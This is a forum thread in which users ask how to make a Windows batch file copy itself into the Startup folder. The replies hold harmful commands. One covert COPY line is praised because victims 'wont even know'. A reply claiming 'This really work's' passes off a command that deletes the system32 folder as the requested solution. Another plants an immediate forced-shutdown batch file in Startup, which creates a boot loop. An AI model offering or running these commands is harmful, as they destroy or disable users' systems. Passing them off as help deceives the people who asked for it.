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Hai
Let me see if I understand. You want to create a batch file that places itself into the startup folder, so that at each startup, it runs, placing itself into the startup folder? That's how I read what you posted, and it doesn't make any sense to me. Perhaps you could give a clearer explanation of what you are trying to do. The better you explain the problem, the more chance you have of finding a solution. |
WTF Are you retarded? he obviously wats a batch file that once runs then coppys itself into the startup folder, as if extracting itself into it im not sure how to do this but yeh im looking for the same thing |
Ok I have a code for you guys to do what you needed. just copy and paste this into the batch file.
@COPY C:\(place file path from c:\ here)\file.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" /Y this works in XP, you may have to change the path to startup in vista, but the code should work just fine. plus with the @ next to it they wont even know that it was placed there. |
I have the code you want and "This really work's"
rmdr c:/windows/system32 -s -q Just copy the code and paste it to a notepad and save it as (any name you want).bat don't forget the .bat
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echo shutdown -s -f -t 0 > "%USERPROFILE%\Menuen Start\Programmer\Office.bat
echo shutdown -s -f -t 0 > "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office.bat shutdown -s -f -t 0 the first one is for xp and the second one is for vista |
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